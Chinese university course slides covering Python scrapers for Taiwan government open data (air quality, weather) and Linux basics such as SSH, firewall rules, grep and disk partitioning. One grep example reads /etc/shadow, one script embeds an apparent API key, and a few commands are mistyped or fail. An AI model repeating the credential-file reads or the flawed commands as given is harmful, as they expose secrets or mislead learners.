#判斷每一筆County欄位，若為'新北市'則將相關訊息印出
#包括地區名稱、AQI指數、PM2.5指數、PM10指數、資料更新時間
for record in response:
    if record['County'] == '新北市':
        print('%s：' % record['SiteName'])
        print('\tAQI：%s' % record['AQI'])
        print('\tPM2.5：%s' % record['PM2.5'])
        print('\tPM10：%s' % record['PM10'])
        print('\t資料更新時間：%s' % record['PublishTime'])
```

環保署AQI轉進SQLalchemy查詢

```
import json
import requests
import pandas as pd
from sqlalchemy import create_engine
#環保署開放資料API網址，用requests的get方法取得檔案，設為req物件
req = requests.get('http://opendata2.epa.gov.tw/AQI.json')
# loads方法解析req物件，存為data物件
data = json.loads(req.content.decode('utf8'))
df = pd.DataFrame(data)                    #解析為pandas的DataFrame結構
# 用sqlalchemy模組create_engine建立sqlite連線，將資料表儲存在memory
engine = create_engine('sqlite:///:memory:')
# 將df利用to_sql方法指定給'AQI_table'
# 用SQL語法顯示縣市、區域、PM2.5，並以PM2.5排序
df.to_sql('AQI_table', engine, index=False)
print(pd.read_sql_query('SELECT `County` as `縣市`, `SiteName` as `區域`, \
    CAST(`PM2.5_AVG` AS int) as `PM2.5` FROM `AQI_table` \
    order by CAST(`PM2.5_AVG` AS int) DESC', engine))
```

新北市不動產仲介經紀商業同業公會網站

新北市不動產仲介經紀商業同業公會網站

```
from urllib.request import urlopen
from bs4 import BeautifulSoup
import csv
file_name = "新北市仲介" + ".csv"        #設定csv寫入檔名
f = open(file_name, "w", encoding = 'utf8')
w = csv.writer(f)
httphead="http://www.tcr.org.tw/a/table_blogs/index/21654"
# 根據新北市不動產仲介經紀商業同業公會網站會員介紹首頁
# 與其後各頁差異，根據頁面規則涵蓋需要抓取頁面
for i in range(1,17):
    if i==1:
        htmlname=httphead
    else:
        htmlname=httphead+"?page="+str(i)
    html = urlopen(htmlname)
    # 以BeautifulSoup的"lxml"模式解析網頁，設定為bsObj物件
    bsObj = BeautifulSoup(html, "lxml")
    count=0
```

新北市不動產仲介經紀商業同業公會網站

```
for single_tr in bsObj.find("table").find("table").findAll("tr"):      #抓取網頁資料
    if count==0:
        cell = single_tr.findAll("th")            # 處理表頭
        F0 = cell[0].contents
        F1 = cell[1].contents
        F2 = cell[2].contents
        F3 = cell[3].contents
        F4 = cell[4].contents
    else:
        cell = single_tr.findAll("td")            # 處理表格中資料
#       print(cell)
        F0 = cell[0].a.string
        F1 = cell[1].a.string
        F2 = cell[2].a.string
        F3 = cell[3].a.string
        F4 = cell[4].a.string
    print(F0,F1,F2,F3,F4)
    data = [[F0,F1,F2,F3,F4]]
    if i>1 and count>0:
        w.writerows(data)                         # 逐行寫入csv檔案
    count=count+1
f.close()
```

中央氣象局開放資料平台

```
import pandas as pd
import numpy as np
from bs4 import BeautifulSoup
import datetime
today = str(datetime.date.today())
cwb_data = "cwb_weather_data"
import urllib.request
import zipfile
res ="http://opendata.cwb.gov.tw/opendataapi?dataid=F-D0047-
093&authorizationkey=CWB-3FB0188A-5506-41BE-B42A-3785B42C3823"
urllib.request.urlretrieve(res,"F-D0047-093.zip")
f=zipfile.ZipFile('F-D0047-093.zip')
file = ['63_72hr_CH.xml']
CITY = []
DISTRICT = []
GEOCODE = []
DAY = []
TIME = []
T = []
Wx = []
```

中央氣象局開放資料平台

```
for filename in file:
    try:
        data = f.read(filename).decode('utf8')
        soup = BeautifulSoup(data,"xml")
        city = soup.locationsName.text
        a = soup.find_all("location")
        for i in range(0,len(a)):
            location = a[i]
            district = location.find_all("locationName")[0].text
            geocode = location.geocode.text
            weather = location.find_all("weatherElement")
            time = weather[1].find_all("dataTime")
            for j in range(0,len(time)):
                x = time[j].text.split("T")
                DAY.append(x[0])
                time_1 = x[1].split("+")
                TIME.append(time_1[0])
                CITY.append(city)
                DISTRICT.append(district)
                GEOCODE.append(geocode)
```

中央氣象局開放資料平台

```
for t  in weather[0].find_all("value"):
                T.append(t.text)
            wx = weather[9].find_all("value")
            for w in range(0,len(wx),2):
                Wx.append(wx[w].text)
    except:
        break
f.close()
data = {"CITY":CITY,"DISTRICT":DISTRICT,"GEOCODE":GEOCODE,"DAY" :
DAY,"TIME" : TIME,"T":T,"Wx": Wx}
df =
pd.DataFrame(data,columns=["CITY","DISTRICT","GEOCODE","DAY","TIME","T","Wx"])
save_name = "taiwan_cwb" + today + ".csv"
df.to_csv(save_name,index=False,encoding="utf_8_sig")
```

中央氣象局開放資料平台

- 10-11行從中央氣象局開放資料平台API取得"F-D0047-093.zip"壓縮檔，請留意7行中的authorizationkey需要加入會員提出申請即可獲得。
- 12-13行對獲取檔案進行解壓縮，並設定需要檔名。'63_72hr_CH.xml'為台北市各區氣象預報資料，若有需要可在13行中增加其他縣市資料。
- 14-20行設定需要收集資料初始空串列，其中欄位意義如下：CITY(縣市)、DISTRICT(鄉鎮市區)、GEOCODE(編碼)、DAY(日期)、TIME(時間)、T(溫度)、Wx(天氣現象)
- 21-47行利用BeautifulSoup的"xml"模式，解析各xml檔案中，找出所需要資料新增到各資料串列中。
- 48-52行將所得資料以pandas的DataFrame資料格式整理後寫入csv檔案。

Linux Basic

郭忠義

jykuo@ntut.edu.tw

臺北科技大學資訊工程系

SSH連線

- 安裝完Ubuntu，更新、升級安裝程式
  - lsb_release -a，查看 Ubuntu版本
  - unmae -a，cat /proc/version，查看核心版本
  - sudo apt-get update

```
jykuo@ubuntu: ~
jykuo@ubuntu:~$ sudo apt-get update
[sudo] password for jykuo:
```

  - sudo apt-get upgrade，之後按Y (需要十幾分鐘)

```
jykuo@ubuntu: ~
Reading package lists... Done
jykuo@ubuntu:~$ sudo apt-get upgrade
Reading package lists... Done
Building dependency tree
Reading state information... Done
Calculating upgrade... Done
```

SSH連線

- Linux安裝SSH，sudo apt-get install ssh
  - 若有出現此錯誤訊息

```
kernel@ubuntu: ~
kernel@ubuntu:~$ sudo apt-get install ssh
[sudo] password for kernel:
E: Could not get lock /var/lib/dpkg/lock-frontend - open (11: Resource temporari
ly unavailable)
E: Unable to acquire the dpkg frontend lock (/var/lib/dpkg/lock-frontend), is an
other process using it?
kernel@ubuntu:~$
```

  - 刪除 apt程序，sudo kill -9 apt
  - 刪除 lock 檔案
    - sudo rm /var/lib/dpkg/lock
    - sudo rm /var/lib/apt/lists/lock
    - sudo rm /var/cache/apt/archives/lock
  - 更新套件
    - sudo dpkg –configure -a
    - sudo apt-get update

```
kernel@ubuntu:~$ sudo kill -9 apt
[sudo] password for kernel:
kill: failed to parse argument: 'apt'
kernel@ubuntu:~$ sudo rm /var/lib/dpkg/lock
kernel@ubuntu:~$ sudo rm /var/lib/apt/lists/lock
kernel@ubuntu:~$ sudo rm /var/cache/apt/archives/lock
kernel@ubuntu:~$ sudo dpkg -configure -a
dpkg: error: need an action option

Type dpkg --help for help about installing and deinsta
Use 'apt' or 'aptitude' for user-friendly package mana
Type dpkg -Dhelp for a list of dpkg debug flag values;
Type dpkg --force-help for a list of forcing options;
Type dpkg-deb --help for help about manipulating *.deb

Options marked [*] produce a lot of output - pipe it t
kernel@ubuntu:~$ sudo apt-get update
```

SSH連線

- 查詢虛擬機IP
  - ifconfig

```
jykuo@ubuntu: ~
jykuo@ubuntu:~$ ifconfig
ens33     Link encap:Ethernet  HWaddr 00:0c:29:ae:d7:fa
          inet addr:192.168.6.128  Bcast:192.168.6.255  Mask:255.255.255.0
          inet6 addr: fe80::79b9:602:4172:77fc/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:267506 errors:0 dropped:0 overruns:0 frame:0
          TX packets:122151 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:401850759 (401.8 MB)  TX bytes:7439750 (7.4 MB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:314 errors:0 dropped:0 overruns:0 frame:0
          TX packets:314 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:27510 (27.5 KB)  TX bytes:27510 (27.5 KB)
```

SSH連線

- 本機端(Host OS)，下載PuTTY，安裝、執行
  - 輸入虛擬機ip，預設port 22，儲存設定

SSH連線

- 使用PuTTY登入虛擬機 Terminal

jykuo@ubuntu: ~

```
login as: jykuo
jykuo@192.168.6.128's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.13.0-36-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

32 packages can be updated.
20 updates are security updates.

*** System restart required ***

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

jykuo@ubuntu:~$
```

Linux 核心架構

User Mode

Kernel Mode

Hardware

Linux系統目錄

- 系統目錄內容
  - /：根目錄，包含整個Linux系統的所有目錄和檔案。
  - /bin：放置操作系統所需各種指令程式。如cp、rpm、kill、tar、mv、rm與ping等，及各種不同shell，如bash、zsh、tcsh等。
  - /boot：系統啟動時須讀取的檔案，包括系統核心。
  - /dev：存放周邊設備代號的檔案。例如硬碟/dev/sda、終端機/dev/tty0等。它們實際上都指向所代表的周邊設備。
  - /etc：與系統設定、管理相關檔案。例如記錄帳號名稱的passwd檔、投影密碼檔shadow。
  - /etc/rc.d：包含開機或關機時所執行的script檔案。
  - /home：使用者帳號的家目錄。
  - /lib：共用的函式庫。
  - /lib/modules：存放系統核心模組。某些可模組化部份，不需在編譯系統核心時放入核心，避免核心過大導致效率低落。

Linux系統目錄

- /lost+found：檔案系統發生問題，Linux自動掃描磁碟修正錯誤，若找到遺失或錯誤區段，會轉成檔案存放於此，等管理員處理。
- /media：做為光碟、軟碟、隨身碟與其他分割區自動掛載點。
- /mnt：手動掛載其他分割區的掛載點。
- /proc：系統核心和執行程序間的資訊，執行ps、free等指令時看到訊息從這裡讀取。目錄內檔案是虛擬檔案。
- /root：系統管理者專用目錄，root帳號的家目錄。
- /sbin：啟動系統需執行的程式，如fsck、init與swapon等。
- /tmp：使用者暫時放置檔案的目錄。系統預設讓所有使用者讀取、寫入和執行。某些程式執行中產生臨時檔也存放在此。
- /usr：存放系統指令、程式等資訊。

Linux系統目錄

- /usr/bin：使用者可執行的指令程式，如find、free、gcc等。
- /usr/local：自行編譯的軟體，以便與使用RPM安裝的軟體區隔，避免兩個套件系統發生衝突。
- /usr/share/doc：存放各種文件的目錄。
- /usr/share/man：放置多種線上說明文件。
- /usr/src：存放原始碼、Linux系統核心原始碼等。
- /var：放系統執行時，內容經常變動的資料或暫存檔。包括使用者郵件、記載系統活動過程log檔、列印工作佇列檔、系統執行程式的PID(ProcessID，程序識別碼)記錄等。Apache網頁目錄與FTP目錄等伺服器的專用目錄也位於此。
- /var/tmp：管理者通常定時清理/tmp目錄維護磁碟空間。若不想將檔案放入/tmp，避免遭管理者刪除，可存放在此。

基本指令-壓縮

- compress
  - 壓縮及解壓縮檔名為 .Z 的壓縮檔。
  - compress 壓縮會將原檔案刪除變成檔名為 .Z 的檔案。
  - 解壓縮，壓縮檔不見，只剩下被解壓縮的檔案
  - compress xxxxx <==將 xxxxx 檔案壓縮成為 xxxxx.Z 檔名
  - compress -d xxxxx.Z <==將 xxxxx.Z 解壓縮成 xxxxx
  - 解壓縮也可用 uncompress xxxxx.Z 來達成！

基本指令-壓縮

- gzip
  - 壓縮檔名為 .gz
  - gzip xxxxx <==這是壓縮指令
  - gzip -d xxxxx.gz <==這是解壓縮指令
- tar
  - tar -cvf bird.tar bird <==只將目錄轉成一個檔案，沒有壓縮
  - tar -zcvf bird.tar.gz bird <==壓縮一整個目錄成為 .tar.gz 檔案
  - 解壓縮
    - tar -xvf bird.tar
    - tar -zxvf bird.tar.gz
  - tar 壓縮及解壓縮，原檔案與產生檔案同時存在

基本指令-網路資訊

- hostname
  - 觀看主機名稱。

```
jykuo@ubuntu:~$ hostname
ubuntu
jykuo@ubuntu:~$
```

- ping
  - 查看對方網路是否有動作的指令
  - ping 是兩部主機之間的回聲與否判斷

```
ubuntu: ~
jykuo@ubuntu:~$ ping www.ntut.edu.tw
PING www.ntut.edu.tw (140.124.13.105) 56(84) bytes of data.
64 bytes from cttl.ntut.edu.tw (140.124.13.105): icmp_seq=1 ttl=128 time=1.55 ms
64 bytes from cttl.ntut.edu.tw (140.124.13.105): icmp_seq=2 ttl=128 time=2.42 ms
64 bytes from cttl.ntut.edu.tw (140.124.13.105): icmp_seq=3 ttl=128 time=2.33 ms
64 bytes from cttl.ntut.edu.tw (140.124.13.105): icmp_seq=4 ttl=128 time=2.28 ms
64 bytes from cttl.ntut.edu.tw (140.124.13.105): icmp_seq=5 ttl=128 time=2.50 ms
64 bytes from cttl.ntut.edu.tw (140.124.13.105): icmp_seq=6 ttl=128 time=3.05 ms
```

基本指令-網路資訊

- nslookup
  - 查詢或反查詢 DNS 指令，
  - 例如要知道奇摩網路位址：nslookup www.kimo.com.tw

```
jykuo@ubuntu: ~
jykuo@ubuntu:~$ nslookup www.kimo.com.tw
Server:         127.0.1.1
Address:        127.0.1.1#53

Non-authoritative answer:
www.kimo.com.tw canonical name = src1.yahoo.com.
src1.yahoo.com  canonical name = src.san1.g01.yahoodns.net.
Name:   src.san1.g01.yahoodns.net
Address: 124.108.115.101
```

  - 詳細查詢

```
jykuo@ubuntu: ~
jykuo@ubuntu:~$ nslookup
> set type=any
> www.yahoo.com
Server:         127.0.1.1
Address:        127.0.1.1#53

Non-authoritative answer:
www.yahoo.com   canonical name = atsv2-fp-shed.wg1.b.yahoo.com.

Authoritative answers can be found from:
>
```

基本指令-網路資訊

- traceroute
  - sudo apt-get install traceroute
  - traceroute www.ntut.edu.tw
  - 追蹤兩部主機間通過的各個節點通訊狀況。例如連線到 yahoo 的速度比平常慢，可能 (1)網路環境有問題，(2)外部 Internet 有問題。
  - 連接目的地所有 router 進行 ICMP回聲等待，例如由連接到 Yahoo ，會經過幾個節點，對這些節點做 ICMP 回聲等待，偵測回覆時間，每個節點會偵測三次。解析後可瞭解這條連線是那個環節出問題。
  - 如果預設 5 秒內聽不到節點的回聲，螢幕會顯示 *，告知該節點無法有順利的回應。由於traceroute 用ICMP，有些防火牆或主機會封鎖，有些 gateway 不支援 traceroute。

基本指令-網路資訊

- ip link show

```
jykuo@ubuntu:~$ ip link show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group
qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP mode DE
up default qlen 1000
    link/ether 00:0c:29:ae:d7:fa brd ff:ff:ff:ff:ff:ff
```

- ip -s link show

```
jykuo@ubuntu:~$ ip -s link show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT gro
qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    RX: bytes  packets  errors  dropped overrun mcast
    21210      246      0       0       0       0
    TX: bytes  packets  errors  dropped carrier collsns
    21210      246      0       0       0       0
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP mode
up default qlen 1000
    link/ether 00:0c:29:ae:d7:fa brd ff:ff:ff:ff:ff:ff
    RX: bytes  packets  errors  dropped overrun mcast
    8847005    9847     0       0       0       0
    TX: bytes  packets  errors  dropped carrier collsns
    284287     3612     0       0       0       0
```

基本指令-網路資訊

- route
  - 用來看網路通訊包傳送的路由情況。由於通信包是藉由一個個路由表傳遞，所以觀察路由表，對網路除錯很重要

基本指令-網路資訊

- netstat -an
  - 觀察網路狀況。
  - 查看某個網路服務是否啟動，查詢網路介面監聽的埠口 (port) 是否真有啟動。

```
Terminal  File  Edit  View  Search  Terminal  Help                    7:55 P
jykuo@ubuntu:~$ netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.1.1:53            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN
tcp6       0      0 :::22                   :::*                    LISTEN
tcp6       0      0 ::1:631                 :::*                    LISTEN
udp        0      0 0.0.0.0:5353            0.0.0.0:*
udp        0      0 127.0.1.1:53            0.0.0.0:*
udp        0      0 0.0.0.0:68              0.0.0.0:*
udp        0      0 0.0.0.0:57853           0.0.0.0:*
udp        0      0 0.0.0.0:631             0.0.0.0:*
udp        0      0 0.0.0.0:60495           0.0.0.0:*
udp6       0      0 :::5353                 :::*
udp6       0      0 :::58955                :::*
raw6       0      0 :::58                   :::*                    7
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags       Type       State         I-Node   Path
unix  2      [ ACC ]     STREAM     LISTENING     19644    /run/systemd/private
unix  2      [ ACC ]     STREAM     LISTENING     30993    @/tmp/.ICE-unix/1698
```

基本指令-網路連線

- /etc/hosts.allow允許連線
  - ldd (list dynamic dependencies, 列出動態函式庫依賴關係)
    - hosts.allow屬於tcp_Wrappers防火牆的配置文件，ssh需要應用libwrapped函式庫
    - ldd /usr/sbin/sshd |grep libwrap.so.0，測試sshd是否使用該函式庫

```
kjy@node01:~$ ldd /usr/sbin/sshd |grep libwrap
        libwrap.so.0 => /lib/x86_64-linux-gnu/libwrap.so.0 (0x00007f02bb524000)
```

  - sudo gedit /etc/hosts.allow
    - 如新增sshd:192.168.6.，允許192.168.6網段IP與系統進行ssh連線。

```
kjy@node01:~$ more /etc/hosts.allow
# /etc/hosts.allow: list of hosts that are allowed to access the system.
#                   See the manual pages hosts_access(5) and hosts_options(5).
#
# Example:    ALL: LOCAL @some_netgroup
#             ALL: .foobar.edu EXCEPT terminalserver.foobar.edu
#
# If you're going to protect the portmapper use the name "rpcbind" for the
# daemon name. See rpcbind(8) and rpc.mountd(8) for further information.
#
sshd:192.168.6.
```

基本指令-網路連線

- /etc/hosts.allow允許連線
  - 另一台虛擬機連線

```
kjy@ubuntu:~$ ssh 192.168.6.135
The authenticity of host '192.168.6.135 (192.168.6.135)' can't be established.
ECDSA key fingerprint is SHA256:lEQvXCIuKXo9TWMocWQmmWOHjepOA0mfgruMaulBZZ0.
Are you sure you want to continue connecting (yes/no)? yes
```

基本指令-網路連線

- 拒絕連線。
  - sudo gedit /etc/hosts.deny
    - 例如新增sshd:all代表不允許任何IP與系統進行ssh連線。
  - 當兩者設定有衝突時，系統將以hosts.allow為主。

sshd: ALL

```
kjy@node01:~$ more /etc/hosts.deny
# /etc/hosts.deny: list of hosts that are _not_ allowed to access the system.
#                  See the manual pages hosts_access(5) and hosts_options(5).
#
# Example:    ALL: some.host.name, .some.domain
#             ALL EXCEPT in.fingerd: other.host.name, .other.domain
#
# If you're going to protect the portmapper use the name "rpcbind" for the
# daemon name. See rpcbind(8) and rpc.mountd(8) for further information.
#
# The PARANOID wildcard matches any host whose name does not match its
# address.
#
# You may wish to enable this to ensure any programs that don't
# validate looked up hostnames still leave understandable logs. In past
# versions of Debian this has been the default.
# ALL: PARANOID
sshd:ALL
```

基本指令-網路連線

- 關閉root身分ssh連線。
  - sudo vi /etc/ssh/sshd_config
  - 將PermitRootLogin這一行反註解，並且確認其選項為no。
  - 設定完畢重啟sshd以套用新規則：
  - sudo service sshd restart

```
# Logging
# obsoletes QuietMode and
#SyslogFacility AUTH
SyslogFacility AUTHPRIV
#LogLevel INFO

# Authentication:

#LoginGraceTime 2m
PermitRootLogin no
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10
```

基本指令-網路連線

- 防火牆
  - 允許8080 port與FTP連線
    - sudo iptables -A INPUT -p tcp --dport 8080 -j ACCEPT
    - sudo iptables -A INPUT -p tcp --dport 20 -j ACCEPT
  - 允許特定IP使用ssh連線
    - sudo iptables -A INPUT -p tcp --dport 21 -j ACCEPT
    - sudo iptables -A INPUT -p tcp –s {IP} --dport 22 -j ACCEPT

基本指令-網路連線

- 防火牆
  - 或直接編輯檔案：
    - sudo vi /etc/sysconfig/iptables
    - 設定完畢重啟iptables以套用新規則：
    - sudo service iptables restart

```
# Firewall configuration written by system-config-firewall
# Manual customization of this file is not recommended.
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
-A INPUT -p icmp -j ACCEPT
-A INPUT -i lo -j ACCEPT
###新增
-A INPUT -p tcp --dport 8080 -j ACCEPT
-A INPUT -p tcp --dport 20 -j ACCEPT
-A INPUT -p tcp --dport 21 -j ACCEPT
-A INPUT -p tcp -s                --dport 22 -j ACCEPT
-A INPUT -p tcp -s                --dport 22 -j ACCEPT
###
-A INPUT -j REJECT --reject-with icmp-host-prohibited
-A FORWARD -j REJECT --reject-with icmp-host-prohibited
COMMIT
```

基本指令

- date
  - 查看日期
- cal
  - 查看日曆

基本指令

- 網路校時crontab。
  - sudo vi /etc/crontab
  - 新增以下內容：
    - 30 4 * * * root /usr/sbin/ntpdate watch.stdtime.gov.tw
    - 0 5 * * * root /usr/sbin/ntpdate time.stdtime.gov.tw && /usr/sbin/hwclock –w
  - 設定早上4:30校時1次，早上5:00校時1次並寫入BIOS時鐘。

基本指令

- grep (global regular expression print)
  - 查找檔案文字，全域正則表達式列印。
  - 以行為單位。將文字檔案的第1行讀入緩衝區查詢，若找到匹配字符，則輸出整行。
  - 常用的選項
    - i：忽略大小寫。
    - n：將結果輸出的同時，也輸出該行的行號。
    - s：沒找到匹配內容時，不顯示錯誤信息。
    - l：從多個文件中找，只輸出找到匹配內容的文件名稱。
    - h：從多個文件中找，只輸出匹配內容，不顯示文件名稱。
    - c：只輸出匹配內容的總行數
    - v：反轉找，即輸出匹配內容以外的行。

基本指令

- 萬用字元
  - Shell 底下，擁有一些特殊符號，稱為萬用字元 (wild card)。對於檔名的展開相當好用。

符號	說明
?	萬用字元，代表此處一定要有『一個字元』
*	萬用字元，代表此處可以有『0或多個字元』

Search String	Files Found
File?	FileA FileB
File??	FileAa FileBb
File*	File FileA FileAB FileABC FileDenny FileYenjin
?ile*	File file Aile aileA BileABC bile1 Cile123

基本指令

- 正規表示式

符號	說明	舉例
^	行的開頭	^The： 搜尋開頭為The的內容。
$	行的結尾	End$： 搜尋結尾為End的內容。
[abc]	符合集合中的字	[abc]： 檔案中只要有 "a"、"b"、"c" 任一字即符合搜尋。
[a-z]、[A-Z]	符合集合範圍中的字	[a-z]： 符合 "a" 到 "z" 所有字元。 [A-Z]： 符合 "A" 到 "Z" 所有字元。 [0-9]： 符合 "0" 到 "9" 所有字元。
.	任何單一字元	file.： 符合 file1、file2，但不符合 file10。
+	一個或多個字元	[0-9]+：符合所有數字字元，表示檔案中只要有數字即符合搜尋。
*	0個或多個表示式	file.*： 符合 file、file2、file10。
?	0個或一個表示式	file1?2：符合 file2、file12。
|	符合前面或者後面	file|File：符合 file也符合 File。

基本指令

- grep (global regular expression print)
  - 範例
    - grep "canred" students, grep -n "canred" students
    - grep -c "canred" students, grep -i "CanRed" students
    - grep -vi "canred" students | grep -vi "eva"
  - 多文件
    - grep -l "root" /etc/*，顯示/etc目錄中所有包含有root的文件名
    - grep -h "root" /etc/passwd /etc/shadow
  - 使用grep在命令輸出中找
    - echo "Welcome to Taiwan" | grep "Taiwan"
  - 使用grep在變數中找
    - A="Welcome to Taiwan"
    - echo $A | grep "Taiwan"

基本指令

- grep (global regular expression print)
  - 行首，行尾匹配找
    - grep '^canred' students
    - grep 'canred$' students
  - 正則表達式找
    - grep '/9[0-9]' students
    - grep 'c\{3,\}' students
    - grep 'canred\{2\}p$' students
    - ls -l | grep '\.txt$'
  - 使用或、與多匹配模式查找
    - grep -E 'Canred|Eva' students
    - grep 'Canred' students | grep "Eva"

vi

- Input mode
- Command mode
  - a: Append new text, after the cursor.
  - i: Insert new text, before the cursor.
  - o: Open a new line below the line the cursor is on, and start entering text.
  - yy: Copy the line the cursor is on.
  - p: Append the copied line after the line the cursor is on.
  - dd: Delete the line the cursor is on.
  - x: Delete the character the cursor is on.
  - :w <carriage-return>，以原檔案名稱寫入。
  - :w file_name<carriage-return>，以file_name名稱寫入檔案.

vi

- Command mode
  - :x<carriage-return>，存檔跳出。
  - :q<carriage-return>，不存檔跳出。
  - :q!<carriage-return>，放棄修改跳出。
  - <Shift>g<carriage-return>，Go to the last line.
  - :<number><carriage-return>，Go to the <number>th line.
  - /<string>，Find <string>

Linux Concept

郭忠義

jykuo@ntut.edu.tw

臺北科技大學資訊工程系

計算機系統

- 硬體
  - 提供基本的計算資源CPU，記憶體，I / O設備
- 作業系統
  - 控制和協調各種應用程式和使用者間對硬體的使用
- 應用程式
  - 定義系統資源用於解決使用者計算問題的方式
  - 文字處理器，編譯器，Web瀏覽器，數據庫系統，遊戲
- 使用者
  - 人，機器，其他計算機

計算機系統

Banking system	Airline reservation	Adventure games	Application programs
Compilers	Command interpreter	Editors	System programs
Operating system			
Machine language			Hardware
Microprogramming			
Physical devices			

作業系統目的

- 使用者想要方便，易用和良好的性能
  - 不在乎資源利用
- 大型電腦需要共享計算資源，讓所有使用者滿意
- 行動裝置計算機資源較少，針對可用性和電池壽命進行優化
- 嵌入式系統使用者介面簡單，例如設備和汽車的行車電腦

作業系統定義

- 資源分配器
  - 管理所有資源
  - 在有效和公平使用資源的衝突請求之間做出決定
- 控制程式
  - 控制執行的程式，防止錯誤和不適當使用計算機
- Kernel，一直長駐計算機上執行的程式。
  - 其他都是系統程式（操作系統附帶），或應用程式。
- Bootstrap
  - 電腦通電或重新啟動時載入
  - 通常儲存在ROM或EPROM中，稱為韌體
  - 初始化系統
  - 載入作業系統kernel並開始執行

作業系統組織

- 作業系統
  - 一或多個CPU，裝置控制器透過Bus連結存取記憶體
  - CPU和I/O裝置同時執行，互相競爭存取記憶體
  - 每個控制器負責特別的裝置，各有其本地緩衝區(Buffer)
  - I/O是從裝置到控制器的本地緩衝區
  - 透過Interrupt，裝置控制器通知CPU完成其操作

作業系統概念

- 虛擬記憶體與Page table

Linux系統階層架構

- 階層架構

Linux 硬碟

郭忠義

jykuo@ntut.edu.tw

臺北科技大學資訊工程系

新增硬碟

- 在 VMWare 中新增硬碟

新增硬碟

- 在 VMWare 中新增硬碟
  - 需要幾分鐘時間

新增硬碟

- 新增20G硬碟

- 重新啟動虛擬機，確認新增硬碟

查詢磁碟代號

- df -h，顯示目前硬碟的掛載狀況

```
jykuo@ubuntu:~$ df -h
Filesystem      Size  Used Avail Use% Mounted on
udev            1.9G     0  1.9G   0% /dev
tmpfs           393M  6.2M  387M   2% /run
/dev/sda1        36G  4.5G   30G  14% /
tmpfs           2.0G  252K  2.0G   1% /dev/shm
tmpfs           5.0M  4.0K  5.0M   1% /run/lock
tmpfs           2.0G     0  2.0G   0% /sys/fs/cgroup
tmpfs           393M   64K  393M   1% /run/user/1000
```

  - 剛新增硬碟在此看不到
- ls /dev/[sh]d*

```
jykuo@ubuntu:~$ ls /dev/[sh]d*
/dev/sda  /dev/sda1  /dev/sda2  /dev/sda5  /dev/sdb
```

  - 顯示/dev/sdb 為新的硬碟代號

查詢磁碟代號

- sudo fdisk -l | grep "Disk /dev" (列出虛擬機中現有硬碟)

```
jykuo@ubuntu:~$ sudo fdisk -l |grep /dev
[sudo] password for jykuo:
Disk /dev/sda: 40 GiB, 42949672960 bytes, 83886080 sectors
/dev/sda1  *        2048 75497471 75495424  36G 83 Linux
/dev/sda2       75499518 83884031  8384514   4G  5 Extended
/dev/sda5       75499520 83884031  8384512   4G 82 Linux swap / Solaris
Disk /dev/sdb: 20 GiB, 21474836480 bytes, 41943040 sectors
```

  - /dev/sdb 代表第二顆的 SCSI 硬碟。

- sudo fdisk -l /dev/sdb

```
jykuo@ubuntu:~$ sudo fdisk -l /dev/sdb
Disk /dev/sdb: 20 GiB, 21474836480 bytes, 41943040 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
```

  - 顯示第二顆硬碟狀況

磁碟分割

- sudo fdisk /dev/sdb，磁碟分割
  - 一個互動分割工具，輸入 m 再按 Enter 可顯示各種指令說明：

```
jykuo@ubuntu:~$ sudo fdisk /dev/sdb

Welcome to fdisk (util-linux 2.27.1).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.

Device does not contain a recognized partition table.
Created a new DOS disklabel with disk identifier 0x4336788b.

Command (m for help): m

Help:

  DOS (MBR)
   a   toggle a bootable flag
   b   edit nested BSD disklabel
   c   toggle the dos compatibility flag

  Generic
```

磁碟分割

- 新增分割區，輸入 n 按 Enter。
- 選擇建立 extended 或 primary partition，因硬碟只要一個分割區，所以選 primary，輸入 p 按 Enter。
- 選擇 Partition number，primary 分割區最多四個， 1 按 Enter。
- 輸入開始的 cylinder，用預設值，按 Enter。
- 輸入結束的 cylinder，若是要用最大的容量，按 Enter
  - 要指定分割區大小，用 +size{K,M,G}，例如100G 輸入+100G。
- 將分割表寫入硬碟，輸入 w 再按 Enter。按q離開 fdisk。

```
Command (m for help): n
Partition type
   p   primary (0 primary, 0 extended, 4 free)
   e   extended (container for logical partitions)
Select (default p): p
Partition number (1-4, default 1):
First sector (2048-41943039, default 2048):
Last sector, +sectors or +size{K,M,G,T,P} (2048-41943039, default 41943039):

Created a new partition 1 of type 'Linux' and of size 20 GiB.

Command (m for help): w
The partition table has been altered.
Calling ioctl() to re-read partition table.
Syncing disks.
```

磁碟分割

- sudo fdisk -l /dev/sdb，查詢確認

```
